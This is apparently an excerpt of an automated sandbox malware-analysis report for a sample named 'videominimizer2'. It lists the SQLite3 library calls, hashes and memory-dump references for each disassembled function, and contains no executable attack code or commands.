                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: aa77e302053f557c70a8d8c80c1bb3ccc0b69d7e46be98bddd9db9cb48891f7f
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: DD41D2B4A087018FCB50DF69C484A9EB7F6EFA8364F158929EC99CB315E734E8418F51
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • sqlite3_mutex_enter.SQLITE3 ref: 6094D354
                                                                                                                                                                                                                                      • sqlite3_mutex_leave.SQLITE3 ref: 6094D546
                                                                                                                                                                                                                                        • Part of subcall function 60905D76: sqlite3_stricmp.SQLITE3 ref: 60905D8B
                                                                                                                                                                                                                                        • Part of subcall function 60905D76: sqlite3_stricmp.SQLITE3 ref: 60905DA4
                                                                                                                                                                                                                                        • Part of subcall function 60905D76: sqlite3_stricmp.SQLITE3 ref: 60905DB8
                                                                                                                                                                                                                                      • sqlite3_stricmp.SQLITE3 ref: 6094D3DA
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_stricmp$sqlite3_mutex_entersqlite3_mutex_leave
                                                                                                                                                                                                                                      • String ID: BINARY$INTEGER
                                                                                                                                                                                                                                      • API String ID: 317512412-1676293250
                                                                                                                                                                                                                                      • Opcode ID: a7efc97792d1e6a4bc5cda92ab6d03f9066f32250883ff14ac0274f07e3e06bf
                                                                                                                                                                                                                                      • Instruction ID: cace79839434994537c0410bddb438ad3d501bddbf1b20fcc6a8a8bdb5da7fdd
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: a7efc97792d1e6a4bc5cda92ab6d03f9066f32250883ff14ac0274f07e3e06bf
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 8E712978A056099BDB05CF69C49079EBBF2BFA8308F11C529EC55AB3A4D734E941CF80
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • sqlite3_bind_int64.SQLITE3 ref: 6094B582
                                                                                                                                                                                                                                      • sqlite3_step.SQLITE3 ref: 6094B590
                                                                                                                                                                                                                                      • sqlite3_column_int64.SQLITE3 ref: 6094B5AD
                                                                                                                                                                                                                                      • sqlite3_reset.SQLITE3 ref: 6094B5EE
                                                                                                                                                                                                                                      • memmove.MSVCRT(?,?,?,?,?,?,?,?,00000000,?,6094B44B), ref: 6094B6B5
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: memmovesqlite3_bind_int64sqlite3_column_int64sqlite3_resetsqlite3_step
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 2802900177-0
                                                                                                                                                                                                                                      • Opcode ID: f7dd783d858009ac2aa36dfb06bc3a4e86bc75c1920f7d1bf53ec4d0fe99899e
                                                                                                                                                                                                                                      • Instruction ID: fa681a173a9aa7ad5377a8f3376375fc0286f70c891b696e42c92f52458a3a0e
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: f7dd783d858009ac2aa36dfb06bc3a4e86bc75c1920f7d1bf53ec4d0fe99899e
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 0B517D75A082018FCB14CF69C48169EF7F7FBA8314F25C669D8499B318EA74EC81CB81
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • sqlite3_mutex_enter.SQLITE3 ref: 6093F443
                                                                                                                                                                                                                                        • Part of subcall function 60904396: sqlite3_mutex_try.SQLITE3(?,?,?,60908235), ref: 609043B8
                                                                                                                                                                                                                                      • sqlite3_mutex_enter.SQLITE3 ref: 6093F45C
                                                                                                                                                                                                                                        • Part of subcall function 60939559: memcmp.MSVCRT ref: 60939694
                                                                                                                                                                                                                                        • Part of subcall function 60939559: memcmp.MSVCRT ref: 609396CA
                                                                                                                                                                                                                                      • sqlite3_mutex_leave.SQLITE3 ref: 6093F8CD
                                                                                                                                                                                                                                      • sqlite3_mutex_leave.SQLITE3 ref: 6093F8E3
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: memcmpsqlite3_mutex_entersqlite3_mutex_leave$sqlite3_mutex_try
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 4038589952-0
                                                                                                                                                                                                                                      • Opcode ID: 29e5932b9866e1e5e2fcd92ac707fe98724786dada8c9b11deae4621e05e1fb7
                                                                                                                                                                                                                                      • Instruction ID: 916146ddc5613ce70bfe97dc7fabc38680eb49f4f4fdba01105907ea2da9c682
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 29e5932b9866e1e5e2fcd92ac707fe98724786dada8c9b11deae4621e05e1fb7
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 87F13674A046158FDB18CFA9C590A9EB7F7AFA8308F248429E846AB355D774EC42CF40
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                        • Part of subcall function 6094A894: sqlite3_bind_int64.SQLITE3 ref: 6094A8C0
                                                                                                                                                                                                                                        • Part of subcall function 6094A894: sqlite3_step.SQLITE3 ref: 6094A8CE
                                                                                                                                                                                                                                        • Part of subcall function 6094A894: sqlite3_column_int64.SQLITE3 ref: 6094A8E9
                                                                                                                                                                                                                                        • Part of subcall function 6094A894: sqlite3_reset.SQLITE3 ref: 6094A90F
                                                                                                                                                                                                                                      • sqlite3_bind_int64.SQLITE3 ref: 6094C719
                                                                                                                                                                                                                                      • sqlite3_step.SQLITE3 ref: 6094C72A
                                                                                                                                                                                                                                      • sqlite3_reset.SQLITE3 ref: 6094C73B
                                                                                                                                                                                                                                        • Part of subcall function 6094B54C: memmove.MSVCRT(?,?,?,?,?,?,?,?,00000000,?,6094B44B), ref: 6094B6B5
                                                                                                                                                                                                                                        • Part of subcall function 6094A9F5: sqlite3_free.SQLITE3 ref: 6094AA7A
                                                                                                                                                                                                                                      • sqlite3_free.SQLITE3 ref: 6094C881
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_bind_int64sqlite3_freesqlite3_resetsqlite3_step$memmovesqlite3_column_int64
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 3487101843-0
                                                                                                                                                                                                                                      • Opcode ID: 5f7c6ccdcb237f7a487fb09799aacf08d073da1bf61c53431d7ccff799043987
                                                                                                                                                                                                                                      • Instruction ID: dadb85a3919e548a164012fc2e04d9b0ab11445217433cc10b515e99a95ed5c3
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 5f7c6ccdcb237f7a487fb09799aacf08d073da1bf61c53431d7ccff799043987
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 3681FA74A046098FCB44DF99C480A9DF7F7AFA8354F258529E855AB314EB34EC46CF90
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                        • Part of subcall function 6095ECA6: sqlite3_mprintf.SQLITE3 ref: 6095ED06
                                                                                                                                                                                                                                        • Part of subcall function 6095ECA6: sqlite3_prepare_v2.SQLITE3 ref: 6095ED8D
                                                                                                                                                                                                                                        • Part of subcall function 6095ECA6: sqlite3_free.SQLITE3 ref: 6095ED9B
                                                                                                                                                                                                                                      • sqlite3_bind_int.SQLITE3 ref: 6096A3DE
                                                                                                                                                                                                                                        • Part of subcall function 609256E5: sqlite3_bind_int64.SQLITE3 ref: 60925704
                                                                                                                                                                                                                                      • sqlite3_column_int.SQLITE3 ref: 6096A3F3
                                                                                                                                                                                                                                      • sqlite3_step.SQLITE3 ref: 6096A435
                                                                                                                                                                                                                                      • sqlite3_reset.SQLITE3 ref: 6096A445
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_bind_intsqlite3_bind_int64sqlite3_column_intsqlite3_freesqlite3_mprintfsqlite3_prepare_v2sqlite3_resetsqlite3_step
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 247099642-0
                                                                                                                                                                                                                                      • Opcode ID: 64427881e425bd4a7d2fa305579facb0dd1ab8a71ce9f1271cd8f49c57a97bec
                                                                                                                                                                                                                                      • Instruction ID: 69535c0605dcb565d56369453fd68d3a3097adfd173720c6e67b3d4aca8354ad
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 64427881e425bd4a7d2fa305579facb0dd1ab8a71ce9f1271cd8f49c57a97bec
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: FF2151B0A143148BEB109FA9D88479EB7FAEF64308F00852DE89597350EBB8D845CF51
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                        • Part of subcall function 6095ECA6: sqlite3_mprintf.SQLITE3 ref: 6095ED06
                                                                                                                                                                                                                                        • Part of subcall function 6095ECA6: sqlite3_prepare_v2.SQLITE3 ref: 6095ED8D
                                                                                                                                                                                                                                        • Part of subcall function 6095ECA6: sqlite3_free.SQLITE3 ref: 6095ED9B
                                                                                                                                                                                                                                      • sqlite3_bind_int64.SQLITE3 ref: 6096A322
                                                                                                                                                                                                                                        • Part of subcall function 60925686: sqlite3_mutex_leave.SQLITE3 ref: 609256D3
                                                                                                                                                                                                                                      • sqlite3_step.SQLITE3 ref: 6096A32D
                                                                                                                                                                                                                                      • sqlite3_column_int.SQLITE3 ref: 6096A347
                                                                                                                                                                                                                                        • Part of subcall function 6091D4F4: sqlite3_value_int.SQLITE3 ref: 6091D50C
                                                                                                                                                                                                                                      • sqlite3_reset.SQLITE3 ref: 6096A354
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_bind_int64sqlite3_column_intsqlite3_freesqlite3_mprintfsqlite3_mutex_leavesqlite3_prepare_v2sqlite3_resetsqlite3_stepsqlite3_value_int
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 326482775-0
                                                                                                                                                                                                                                      • Opcode ID: de94f0bba3b8b54078f1ceecce583a965f8e010bb36370f6070bcd8bc28ee8b0
                                                                                                                                                                                                                                      • Instruction ID: 7c1586c82cd56d85cf32929a5cd575737867df940847ca2bf63216634e784e33
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: de94f0bba3b8b54078f1ceecce583a965f8e010bb36370f6070bcd8bc28ee8b0
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 0E214DB0A043049BDB04DFA9C480B9EF7FAEFA8354F04C429E8959B340E778D8418B51
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • sqlite3_bind_int64.SQLITE3 ref: 6094B71E
                                                                                                                                                                                                                                        • Part of subcall function 60925686: sqlite3_mutex_leave.SQLITE3 ref: 609256D3
                                                                                                                                                                                                                                      • sqlite3_bind_int64.SQLITE3 ref: 6094B73C
                                                                                                                                                                                                                                      • sqlite3_step.SQLITE3 ref: 6094B74A
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_bind_int64$sqlite3_mutex_leavesqlite3_step
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 3305529457-0
                                                                                                                                                                                                                                      • Opcode ID: dc92f9052f14c19b23696c87723feab2593fd922d888b89f432a916288e70c30
                                                                                                                                                                                                                                      • Instruction ID: cea3564161c85327b61b62d60446574847d05a2bcfebeda4641ea5396b37aa5a
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: dc92f9052f14c19b23696c87723feab2593fd922d888b89f432a916288e70c30
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: D401A8B45047049FCB00DF19D9C968ABBE5FF98354F158869FC888B305D374E8548BA6
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • sqlite3_mutex_enter.SQLITE3 ref: 6090C1EA
                                                                                                                                                                                                                                      • sqlite3_mutex_leave.SQLITE3 ref: 6090C22F
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_mutex_entersqlite3_mutex_leave
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1477753154-0
                                                                                                                                                                                                                                      • Opcode ID: 8c595cf50166d2d57a1b46d7a61a8743a20f226779b5cb212a2500e19f50b056
                                                                                                                                                                                                                                      • Instruction ID: fc120f7ed3300d8301d0f99cb769197b575d5683181bd6b289e4b53452841bc5
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 8c595cf50166d2d57a1b46d7a61a8743a20f226779b5cb212a2500e19f50b056
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 6501F4715042548BDB449F2EC4C576EBBEAEF65318F048469DD419B326D374D882CBA1
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                        • Part of subcall function 6092535E: sqlite3_log.SQLITE3 ref: 60925406
                                                                                                                                                                                                                                      • sqlite3_mutex_leave.SQLITE3 ref: 609255B2
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_logsqlite3_mutex_leave
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1465156292-0
                                                                                                                                                                                                                                      • Opcode ID: 61f2b65abbb078f396bfa931b2809e4962fa985140118a0fa907d432528e7d54
                                                                                                                                                                                                                                      • Instruction ID: 19c4c58ecb434a21204d9b38047e93a23a7f28015e8477a734fda6841bb58fe8
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 61f2b65abbb078f396bfa931b2809e4962fa985140118a0fa907d432528e7d54
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 56317AB4A082188FCB04DF69D880A8EBBF6FF99314F008559FC5897348D734D940CBA5
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                        • Part of subcall function 6092535E: sqlite3_log.SQLITE3 ref: 60925406
                                                                                                                                                                                                                                      • sqlite3_mutex_leave.SQLITE3 ref: 60925508
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_logsqlite3_mutex_leave
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1465156292-0
                                                                                                                                                                                                                                      • Opcode ID: 7f15987c0945e0fd4273a36fcce91cc0d916abb620506d2e7fdad6d0c82ef640
                                                                                                                                                                                                                                      • Instruction ID: ad89f0bb34aa7175efe61e1ac22fb0c12735e6005c3b9edbf096fd229bca234b
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 7f15987c0945e0fd4273a36fcce91cc0d916abb620506d2e7fdad6d0c82ef640
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 5A01A475B107148BCB109F2ACC8164BBBFAEF68254F05991AEC41DB315D775ED458BC0
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                        • Part of subcall function 6092535E: sqlite3_log.SQLITE3 ref: 60925406
                                                                                                                                                                                                                                      • sqlite3_mutex_leave.SQLITE3 ref: 609256D3
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_logsqlite3_mutex_leave
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1465156292-0
                                                                                                                                                                                                                                      • Opcode ID: ebbe32869a67294cb2d54c108597a832b3743d43329dcf341f64f2493053d601
                                                                                                                                                                                                                                      • Instruction ID: 4fd0dfe8dd6226820e052206e0db6187a6d8a97f2116fb4a305c2fd2856f8961
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: ebbe32869a67294cb2d54c108597a832b3743d43329dcf341f64f2493053d601
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 94F08CB5A002099BCB00DF2AD88088ABBBAFF98264B05952AEC049B314D770E941CBD0
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                        • Part of subcall function 6092535E: sqlite3_log.SQLITE3 ref: 60925406
                                                                                                                                                                                                                                      • sqlite3_mutex_leave.SQLITE3 ref: 60925678
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
